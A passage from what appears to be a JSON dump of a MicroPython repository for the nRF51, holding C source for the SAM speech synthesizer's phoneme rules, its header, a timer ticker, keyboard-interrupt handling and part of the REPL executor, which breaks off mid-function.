// *, .*, ?*, ,*, -*, DX, S*, SH, F*, TH, /H, /X, CH, P*, T*, K*, KX\r\n                 \r\n                // not an unvoiced plosive?\r\n\t\t\t\tif((mem56 & 1) == 0) {\r\n                    // move ahead\r\n                    loopIndex++; \r\n                    continue;\r\n                }\r\n\r\n                // P*, T*, K*, KX\r\n\r\n                \r\n                // RULE: <VOWEL> <UNVOICED PLOSIVE>\r\n                // <VOWEL> <P*, T*, K*, KX>\r\n                \r\n                // move back\r\n\t\t\t\tX--;\r\n\t\t\t\t\r\n//DEBUG: printf(\"RULE: <VOWEL> <UNVOICED PLOSIVE> - decrease vowel by 1/8th\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index],  sam->prepare.phoneme_input[X].length);\r\n\r\n                // decrease length by 1/8th\r\n\t\t\t\tmem56 = sam->prepare.phoneme_input[X].length >> 3;\r\n\t\t\t\tsam->prepare.phoneme_input[X].length -= mem56;\r\n\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n\r\n                // move ahead\r\n\t\t\t\tloopIndex++;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n            // RULE: <VOWEL> <VOICED CONSONANT>\r\n            // <VOWEL> <WH, R*, L*, W*, Y*, M*, N*, NX, DX, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX>\r\n\r\n//DEBUG: printf(\"RULE: <VOWEL> <VOICED CONSONANT> - increase vowel by 1/2 + 1\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index],  sam->prepare.phoneme_input[X-1].length);\r\n\r\n            // decrease length\r\n\t\t\tA = sam->prepare.phoneme_input[X-1].length;\r\n\t\t\tsam->prepare.phoneme_input[X-1].length = (A >> 2) + A + 1;     // 5/4*A + 1\r\n\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length);\r\n\r\n            // move ahead\r\n\t\t\tloopIndex++;\r\n\t\t\tcontinue;\r\n\t\t\t\r\n\t\t}\r\n\r\n\r\n        // WH, R*, L*, W*, Y*, M*, N*, NX, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX\r\n\r\n//pos48821:\r\n           \r\n        // RULE: <NASAL> <STOP CONSONANT>\r\n        //       Set punctuation length to 6\r\n        //       Set stop consonant length to 5\r\n           \r\n        // nasal?\r\n        if((flags2[index] & 8) != 0)\r\n        {\r\n                          \r\n            // M*, N*, NX, \r\n\r\n            // get the next phoneme\r\n            X++;\r\n            index = sam->prepare.phoneme_input[X].index;\r\n\r\n            // end of buffer?\r\n            if (index == PHONEME_END)\r\n               A = 65&2;  //prevent buffer overflow\r\n            else\r\n                A = flags[index] & 2; // check for stop consonant\r\n\r\n\r\n            // is next phoneme a stop consonant?\r\n            if (A != 0)\r\n            \r\n               // B*, D*, G*, GX, P*, T*, K*, KX\r\n\r\n            {\r\n//DEBUG: printf(\"RULE: <NASAL> <STOP CONSONANT> - set nasal = 5, consonant = 6\\n\");\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length);\r\n\r\n                // set stop consonant length to 6\r\n                sam->prepare.phoneme_input[X].length = 6;\r\n                \r\n                // set nasal length to 5\r\n                sam->prepare.phoneme_input[X-1].length = 5;\r\n                \r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length);\r\n\r\n            }\r\n            // move to next phoneme\r\n            loopIndex++;\r\n            continue;\r\n        }\r\n\r\n\r\n        // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX\r\n\r\n        // RULE: <VOICED STOP CONSONANT> {optional silence} <STOP CONSONANT>\r\n        //       Shorten both to (length/2 + 1)\r\n\r\n        // (voiced) stop consonant?\r\n        if((flags[index] & 2) != 0)\r\n        {                         \r\n            // B*, D*, G*, GX\r\n                         \r\n            // move past silence\r\n            do\r\n            {\r\n                // move ahead\r\n                X++;\r\n                index = sam->prepare.phoneme_input[X].index;\r\n            } while(index == 0);\r\n\r\n\r\n            // check for end of buffer\r\n            if (index == PHONEME_END) //buffer overflow\r\n            {\r\n                // ignore, overflow code\r\n                if ((65 & 2) == 0) {loopIndex++; continue;}\r\n            } else if ((flags[index] & 2) == 0) {\r\n                // if another stop consonant, move ahead\r\n                loopIndex++;\r\n                continue;\r\n            }\r\n\r\n            // RULE: <UNVOICED STOP CONSONANT> {optional silence} <STOP CONSONANT>\r\n//DEBUG: printf(\"RULE: <UNVOICED STOP CONSONANT> {optional silence} <STOP CONSONANT> - shorten both to 1/2 + 1\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length);\r\n// X gets overwritten, so hold prior X value for debug statement\r\n// int debugX = X;\r\n            // shorten the prior phoneme length to (length/2 + 1)\r\n            sam->prepare.phoneme_input[X].length = (sam->prepare.phoneme_input[X].length >> 1) + 1;\r\n            X = loopIndex;\r\n\r\n            // also shorten this phoneme length to (length/2 +1)\r\n            sam->prepare.phoneme_input[loopIndex].length = (sam->prepare.phoneme_input[loopIndex].length >> 1) + 1;\r\n\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", debugX, signInputTable1[sam->prepare.phoneme_input[debugX].index], signInputTable2[sam->prepare.phoneme_input[debugX].index], sam->prepare.phoneme_input[debugX].length);\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", debugX-1, signInputTable1[sam->prepare.phoneme_input[debugX-1].index], signInputTable2[sam->prepare.phoneme_input[debugX-1].index], sam->prepare.phoneme_input[debugX-1].length);\r\n\r\n\r\n            // move ahead\r\n            loopIndex++;\r\n            continue;\r\n        }\r\n\r\n\r\n        // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, **, \r\n\r\n        // RULE: <VOICED NON-VOWEL> <DIPHTONG>\r\n        //       Decrease <DIPHTONG> by 2\r\n\r\n        // liquic consonant?\r\n        if ((flags2[index] & 16) != 0)\r\n        {\r\n            // R*, L*, W*, Y*\r\n                           \r\n            // get the prior phoneme\r\n            index = sam->prepare.phoneme_input[X-1].index;\r\n\r\n            // prior phoneme a stop consonant>\r\n            if((flags[index] & 2) != 0)\r\n                             // Rule: <LIQUID CONSONANT> <DIPHTONG>\r\n\r\n//DEBUG: printf(\"RULE: <LIQUID CONSONANT> <DIPHTONG> - decrease by 2\\n\");\r\n//DEBUG: printf(\"PRE\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n             \r\n             // decrease the phoneme length by 2 frames (20 ms)\r\n             sam->prepare.phoneme_input[X].length -= 2;\r\n\r\n//DEBUG: printf(\"POST\\n\");\r\n//DEBUG: printf(\"phoneme %d (%c%c) length %d\\n\", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length);\r\n         }\r\n\r\n         // move to next phoneme\r\n         loopIndex++;\r\n         continue;\r\n    }\r\n//            goto pos48701;\r\n}\r\n\r\n"
  },
  {
    "path": "micropython/source/lib/sam/sam.h",
    "content": "#ifndef SAM_H\r\n#define SAM_H\r\n\r\n#define DEFAULT_SING     false\r\n#define DEFAULT_PITCH    64\r\n#define DEFAULT_SPEED    72\r\n#define DEFAULT_MOUTH    128\r\n#define DEFAULT_THROAT   128\r\n\r\ntypedef struct _phoneme_t {\r\n    unsigned char index;\r\n    unsigned char length;\r\n    unsigned char stress; //numbers from 0 to 8\r\n    unsigned char pitch;\r\n} phoneme_t;\r\n\r\nenum {\r\n    PHONEME_IGNORE=0,\r\n    PHONEME_END=127,\r\n    PHONEME_END_BREATH=126\r\n};\r\n\r\n#define RENDER_FRAMES 256\r\n\r\n#define INPUT_PHONEMES 128\r\n#define OUTPUT_PHONEMES (RENDER_FRAMES/4)\r\n\r\ntypedef struct _prepare_memory {\r\n    const char *input;\r\n    unsigned int input_length;\r\n    phoneme_t phoneme_input[INPUT_PHONEMES];\r\n} prepare_memory;\r\n\r\n\r\ntypedef struct _common_memory {\r\n    unsigned char speed;\r\n    unsigned char pitch;\r\n    unsigned char mouth;\r\n    unsigned char throat;\r\n    int singmode;\r\n    phoneme_t phoneme_output[OUTPUT_PHONEMES];\r\n} common_memory;\r\n\r\ntypedef struct _render_freq_amp_t {\r\n    unsigned int freq1:6;\r\n    unsigned int freq2:7;\r\n    unsigned int freq3:7;\r\n    unsigned int amp1:4;\r\n    unsigned int amp2:4;\r\n    unsigned int amp3:4;\r\n} render_freq_amp_t;\r\n\r\ntypedef struct _render_memory {\r\n    render_freq_amp_t freq_amp[RENDER_FRAMES];\r\n    unsigned char pitch[RENDER_FRAMES];\r\n    unsigned char flags[RENDER_FRAMES];\r\n} render_memory;\r\n\r\ntypedef struct _sam_memory {\r\n    common_memory common;\r\n    prepare_memory prepare;\r\n    render_memory render;\r\n} sam_memory;\r\n\r\nvoid SetInput(sam_memory* mem, const char *_input, unsigned int len);\r\n\r\nint SAMMain(sam_memory* mem);\r\n\r\nextern char *sam_error;\r\n\r\nchar* GetBuffer();\r\nint GetBufferLength();\r\n\r\n//char input[]={\"/HAALAOAO MAYN NAAMAEAE IHSTT SAEBAASTTIHAAN \\x9b\\x9b\\0\"};\r\n//unsigned char input[]={\"/HAALAOAO \\x9b\\0\"};\r\n//unsigned char input[]={\"AA \\x9b\\0\"};\r\n//unsigned char input[] = {\"GUH5DEHN TAEG\\x9b\\0\"};\r\n\r\n//unsigned char input[]={\"AY5 AEM EY TAO4LXKIHNX KAX4MPYUX4TAH. GOW4 AH/HEH3D PAHNK.MEYK MAY8 DEY.\\x9b\\0\"};\r\n//unsigned char input[]={\"/HEH3LOW2, /HAW AH YUX2 TUXDEY. AY /HOH3P YUX AH FIYLIHNX OW4 KEY.\\x9b\\0\"};\r\n//unsigned char input[]={\"/HEY2, DHIHS IH3Z GREY2T. /HAH /HAH /HAH.AYL BIY5 BAEK.\\x9b\\0\"};\r\n//unsigned char input[]={\"/HAH /HAH /HAH \\x9b\\0\"};\r\n//unsigned char input[]={\"/HAH /HAH /HAH.\\x9b\\0\"};\r\n//unsigned char input[]={\".TUW BIY5Y3,, OHR NAA3T - TUW BIY5IYIY., DHAE4T IHZ DHAH KWEH4SCHAHN.\\x9b\\0\"};\r\n//unsigned char input[]={\"/HEY2, DHIHS \\x9b\\0\"};\r\n\r\n//unsigned char input[]={\" IYIHEHAEAAAHAOOHUHUXERAXIX  \\x9b\\0\"};\r\n//unsigned char input[]={\" RLWWYMNNXBDGJZZHVDH \\x9b\\0\"};\r\n//unsigned char input[]={\" SSHFTHPTKCH/H \\x9b\\0\"};\r\n\r\n//unsigned char input[]={\" EYAYOYAWOWUW ULUMUNQ YXWXRXLX/XDX\\x9b\\0\"};\r\n\r\n\r\n#endif\r\n\r\n"
  },
  {
    "path": "micropython/source/lib/ticker.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"stddef.h\"\n#include \"lib/ticker.h\"\n\n#define FastTicker NRF_TIMER0\n#define FastTicker_IRQn TIMER0_IRQn\n#define FastTicker_IRQHandler TIMER0_IRQHandler\n\n#define SlowTicker_IRQn SWI3_IRQn\n#define SlowTicker_IRQHandler SWI3_IRQHandler\n\n#define LowPriority_IRQn SWI4_IRQn\n#define LowPriority_IRQHandler SWI4_IRQHandler\n\n// The number of milliseconds that have passed since the ticker was initialised\nvolatile uint32_t ticker_ticks_ms;\n\n// Ticker callback function called every MACRO_TICK\nstatic callback_ptr slow_ticker;\n\nvoid ticker_init(callback_ptr slow_ticker_callback) {\n    ticker_ticks_ms = 0;\n    slow_ticker = slow_ticker_callback;\n    NRF_TIMER_Type *ticker = FastTicker;\n    ticker->POWER = 1;\n    __NOP();\n    ticker_stop();\n    ticker->TASKS_CLEAR = 1;\n    ticker->CC[3] = MICROSECONDS_PER_MACRO_TICK;\n    ticker->MODE = TIMER_MODE_MODE_Timer;\n    ticker->BITMODE = TIMER_BITMODE_BITMODE_24Bit << TIMER_BITMODE_BITMODE_Pos;\n    ticker->PRESCALER = 4; // 1 tick == 1 microsecond\n    ticker->INTENSET = TIMER_INTENSET_COMPARE3_Msk;\n    ticker->SHORTS = 0;\n    NVIC_SetPriority(FastTicker_IRQn, 1);\n    NVIC_SetPriority(SlowTicker_IRQn, 2);\n    NVIC_SetPriority(LowPriority_IRQn, 3);\n    NVIC_EnableIRQ(SlowTicker_IRQn);\n    NVIC_EnableIRQ(LowPriority_IRQn);\n}\n\n/* Start and stop timer 0 including workarounds for Anomaly 73 for Timer\n* http://www.nordicsemi.com/eng/content/download/29490/494569/file/nRF51822-PAN%20v3.0.pdf\n*/\nvoid ticker_start(void) {\n    NVIC_EnableIRQ(FastTicker_IRQn);\n    *(uint32_t *)0x40008C0C = 1; //for Timer 0\n    FastTicker->TASKS_START = 1;\n}\n\nvoid ticker_stop(void) {\n    NVIC_DisableIRQ(FastTicker_IRQn);\n    FastTicker->TASKS_STOP = 1;\n    *(uint32_t *)0x40008C0C = 0; //for Timer 0\n}\n\nint32_t noop(void) {\n    return -1;\n}\n\nstatic ticker_callback_ptr callbacks[3] = { noop, noop, noop };\n\nvoid FastTicker_IRQHandler(void) {\n    NRF_TIMER_Type *ticker = FastTicker;\n    ticker_callback_ptr *call = callbacks;\n    if (ticker->EVENTS_COMPARE[0]) {\n        ticker->EVENTS_COMPARE[0] = 0;\n        ticker->CC[0] += call[0]()*MICROSECONDS_PER_TICK;\n    }\n    if (ticker->EVENTS_COMPARE[1]) {\n        ticker->EVENTS_COMPARE[1] = 0;\n        ticker->CC[1] += call[1]()*MICROSECONDS_PER_TICK;\n    }\n    if (ticker->EVENTS_COMPARE[2]) {\n        ticker->EVENTS_COMPARE[2] = 0;\n        ticker->CC[2] += call[2]()*MICROSECONDS_PER_TICK;\n    }\n    if (ticker->EVENTS_COMPARE[3]) {\n        ticker->EVENTS_COMPARE[3] = 0;\n        ticker->CC[3] += MICROSECONDS_PER_MACRO_TICK;\n        ticker_ticks_ms += MILLISECONDS_PER_MACRO_TICK;\n        NVIC_SetPendingIRQ(SlowTicker_IRQn);\n    }\n}\n\n\nstatic const uint32_t masks[3] = {\n    TIMER_INTENCLR_COMPARE0_Msk,\n    TIMER_INTENCLR_COMPARE1_Msk,\n    TIMER_INTENCLR_COMPARE2_Msk,\n};\n\nint set_ticker_callback(uint32_t index, ticker_callback_ptr func, int32_t initial_delay_us) {\n    if (index > 3)\n        return -1;\n    NRF_TIMER_Type *ticker = FastTicker;\n    callbacks[index] = noop;\n    ticker->INTENCLR = masks[index];\n    ticker->TASKS_CAPTURE[index] = 1;\n    uint32_t t = FastTicker->CC[index];\n    // Need to make sure that set tick is aligned to lastest tick\n    // Use CC[3] as a reference, as that is always up-to-date.\n    int32_t cc3 = FastTicker->CC[3];\n    int32_t delta = t+initial_delay_us-cc3;\n    delta = (delta/MICROSECONDS_PER_TICK+1)*MICROSECONDS_PER_TICK;\n    callbacks[index] = func;\n    ticker->INTENSET = masks[index];\n    FastTicker->CC[index] = cc3 + delta;\n    return 0;\n}\n\nint clear_ticker_callback(uint32_t index) {\n    if (index > 3)\n        return -1;\n    FastTicker->INTENCLR = masks[index];\n    callbacks[index] = noop;\n    return 0;\n}\n\nvoid SlowTicker_IRQHandler(void)\n{\n    slow_ticker();\n}\n\n#define LOW_PRIORITY_CALLBACK_LIMIT 4\ncallback_ptr low_priority_callbacks[LOW_PRIORITY_CALLBACK_LIMIT] = { NULL, NULL, NULL, NULL };\n\nvoid LowPriority_IRQHandler(void)\n{\n    for (int id = 0; id < LOW_PRIORITY_CALLBACK_LIMIT; id++) {\n        callback_ptr callback = low_priority_callbacks[id];\n        if (callback != NULL) {\n            low_priority_callbacks[id] = NULL;\n            callback();\n        }\n    }\n}\n\nint set_low_priority_callback(callback_ptr callback, int id) {\n    if (low_priority_callbacks[id] != NULL)\n        return -1;\n    low_priority_callbacks[id] = callback;\n    NVIC_SetPendingIRQ(LowPriority_IRQn);\n    return 0;\n}\n"
  },
  {
    "path": "micropython/source/lib/utils/interrupt_char.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/obj.h\"\n#include \"py/mpstate.h\"\n\n#if MICROPY_KBD_EXCEPTION\n\nint mp_interrupt_char;\n\nvoid mp_hal_set_interrupt_char(int c) {\n    if (c != -1) {\n        mp_obj_exception_clear_traceback(MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_kbd_exception)));\n    }\n    mp_interrupt_char = c;\n}\n\nvoid mp_keyboard_interrupt(void) {\n    MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_kbd_exception));\n    #if MICROPY_ENABLE_SCHEDULER\n    if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE) {\n        MP_STATE_VM(sched_state) = MP_SCHED_PENDING;\n    }\n    #endif\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/lib/utils/pyexec.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/compile.h\"\n#include \"py/runtime.h\"\n#include \"py/repl.h\"\n#include \"py/gc.h\"\n#include \"py/frozenmod.h\"\n#include \"py/mphal.h\"\n#if defined(USE_DEVICE_MODE)\n#include \"irq.h\"\n#include \"usb.h\"\n#endif\n#include \"lib/mp-readline/readline.h\"\n#include \"lib/utils/pyexec.h\"\n#include \"genhdr/mpversion.h\"\n\npyexec_mode_kind_t pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL;\nint pyexec_system_exit = 0;\n\n#define EXEC_FLAG_PRINT_EOF (1)\n#define EXEC_FLAG_ALLOW_DEBUGGING (2)\n#define EXEC_FLAG_IS_REPL (4)\n#define EXEC_FLAG_SOURCE_IS_RAW_CODE (8)\n#define EXEC_FLAG_SOURCE_IS_VSTR (16)\n#define EXEC_FLAG_SOURCE_IS_FILENAME (32)\n\n// parses, compiles and executes the code in the lexer\n// frees the lexer before returning\n// EXEC_FLAG_PRINT_EOF prints 2 EOF chars: 1 after normal output, 1 after exception output\n// EXEC_FLAG_ALLOW_DEBUGGING allows debugging info to be printed after executing the code\n// EXEC_FLAG_IS_REPL is used for REPL inputs (flag passed on to mp_compile)\nSTATIC int parse_compile_execute(const void *source, mp_parse_input_kind_t input_kind, int exec_flags) {\n    int ret = 0;\n\n    // by default a SystemExit exception returns 0\n    pyexec_system_exit = 0;\n\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_obj_t module_fun;\n        #if MICROPY_MODULE_FROZEN_MPY\n        if (exec_flags & EXEC_FLAG_SOURCE_IS_RAW_CODE) {\n            // source is a raw_code object, create the function\n            module_fun = mp_make_function_from_raw_code(source, MP_OBJ_NULL, MP_OBJ_NULL);\n        } else\n        #endif\n        {\n            #if MICROPY_ENABLE_COMPILER\n            mp_lexer_t *lex;\n            if (exec_flags & EXEC_FLAG_SOURCE_IS_VSTR) {\n                const vstr_t *vstr = source;\n                lex = mp_lexer_new_from_str_len(MP_QSTR__lt_stdin_gt_, vstr->buf, vstr->len, 0);\n            } else if (exec_flags & EXEC_FLAG_SOURCE_IS_FILENAME) {\n                lex = mp_lexer_new_from_file(source);\n            } else {\n                lex = (mp_lexer_t*)source;\n            }\n            // source is a lexer, parse and compile the script\n            qstr source_name = lex->source_name;\n            mp_parse_tree_t parse_tree = mp_parse(lex, input_kind);\n            module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, exec_flags & EXEC_FLAG_IS_REPL);\n            #else\n            mp_raise_msg(&mp_type_RuntimeError, \"script compilation not supported\");\n            #endif\n        }\n\n        // execute code\n        mp_hal_set_interrupt_char(CHAR_CTRL_C); // allow ctrl-C to interrupt us\n        mp_call_function_0(module_fun);\n        mp_hal_set_interrupt_char(-1); // disable interrupt\n        nlr_pop();\n        ret = 1;\n        if (exec_flags & EXEC_FLAG_PRINT_EOF) {\n            mp_hal_stdout_tx_strn(\"\\x04\", 1);\n        }\n    } else {\n        // uncaught exception\n        // FIXME it could be that an interrupt happens just before we disable it here\n        mp_hal_set_interrupt_char(-1); // disable interrupt\n        // print EOF after normal output\n        if (exec_flags & EXEC_FLAG_PRINT_EOF) {\n            mp_hal_stdout_tx_strn(\"\\x04\", 1);\n        }\n        // check for SystemExit\n        if (mp_obj_is_subclass_fast(mp_obj_get_type((mp_obj_t)nlr.ret_val), &mp_type_SystemExit)) {\n            // at the moment, the value of SystemExit is unused\n            ret = pyexec_system_exit;\n        } else {\n            mp_obj_print_exception(&mp_plat_print, (mp_obj_t)nlr.ret_val);\n            ret = 0;\n        }\n    }\n\n    if (exec_flags & EXEC_FLAG_PRINT_EOF) {\n        mp_hal_stdout_tx_strn(\"\\x04\", 1);\n    }\n\n    return ret;\n}\n\n#if MICROPY_ENABLE_COMPILER\n#if MICROPY_REPL_EVENT_DRIVEN\n\ntypedef struct _repl_t {\n    // This structure originally also held current REPL line,\n    // but it was moved to MP_STATE_VM(repl_line) as containing\n    // root pointer. Still keep structure in case more state\n    // will be added later.\n    //vstr_t line;\n    bool cont_line;\n} repl_t;\n\nrepl_t repl;\n\nSTATIC int pyexec_raw_repl_process_char(int c);\nSTATIC int pyexec_friendly_repl_process_char(int c);\n\nvoid pyexec_event_repl_init(void) {\n    MP_STATE_VM(repl_line) = vstr_new(32);\n    repl.cont_line = false;\n    // no prompt before printing friendly REPL banner or entering raw REPL\n    readline_init(MP_STATE_VM(repl_line), \"\");\n    if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) {\n        pyexec_raw_repl_process_char(CHAR_CTRL_A);\n    } else {\n        pyexec_friendly_repl_process_char(CHAR_CTRL_B);\n    }\n}\n\nSTATIC int pyexec_raw_repl_process_char(int c) {\n    if (c == CHAR_CTRL_A) {\n        // reset raw REPL\n        mp_hal_stdout_tx_str(\"raw REPL; CTRL-B to exit\\r\\n\");\n        goto reset;\n    } else if (c == CHAR_CTRL_B) {\n        // change to friendly REPL\n        pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL;\n        vstr_reset(MP_STATE_VM(repl_line));\n        repl.cont_line = false;\n        pyexec_friendly_repl_process_char(CHAR_CTRL_B);\n        return 0;\n    } else if (c == CHAR_CTRL_C) {\n        // clear line\n        vstr_reset(MP_STATE_VM(repl_line));\n        return 0;\n    } else if (c == CHAR_CTRL_D) {\n        // input finished\n    } else {\n        // let through any other raw 8-bit value\n        vstr_add_byte(MP_STATE_VM(repl_line), c);\n        return 0;\n    }\n\n    // indicate reception of command\n    mp_hal_stdout_tx_str(\"OK\");\n\n    if (MP_STATE_VM(repl_line)->len == 0) {\n        // exit for a soft reset\n        mp_hal_stdout_tx_str(\"\\r\\n\");\n        vstr_clear(MP_STATE_VM(repl_line));\n        return PYEXEC_FORCED_EXIT;\n    }\n\n    int ret = parse_compile_execute(MP_STATE_VM(repl_line), MP_PARSE_FILE_INPUT, EXEC_FLAG_PRINT_EOF | EXEC_FLAG_SOURCE_IS_VSTR);\n    if (ret & PYEXEC_FORCED_EXIT) {\n        return ret;\n    }\n\nreset:\n    vstr_reset(MP_STATE_VM(repl_line));\n    mp_hal_stdout_tx_str(\">\");\n\n    return 0;\n}\n\nSTATIC int pyexec_friendly_repl_process_char(int c) {\n    int ret = readline_process_char(c);\n\n    if (!repl.cont_line) {\n\n        if (ret == CHAR_CTRL_A) {\n            // change to raw REPL\n            pyexec_mode_kind = PYEXEC_MODE_RAW_REPL;\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            pyexec_raw_repl_process_char(CHAR_CTRL_A);\n            return 0;\n        } else if (ret == CHAR_CTRL_B) {\n            // reset friendly REPL\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            mp_hal_stdout_tx_str(\"MicroPython \" MICROPY_GIT_TAG \" on \" MICROPY_BUILD_DATE \"; \" MICROPY_HW_BOARD_NAME \" with \" MICROPY_HW_MCU_NAME \"\\r\\n\");\n            #if MICROPY_PY_BUILTINS_HELP\n            mp_hal_stdout_tx_str(\"Type \\\"help()\\\" for more information.\\r\\n\");\n            #endif\n            goto input_restart;\n        } else if (ret == CHAR_CTRL_C) {\n            // break\n            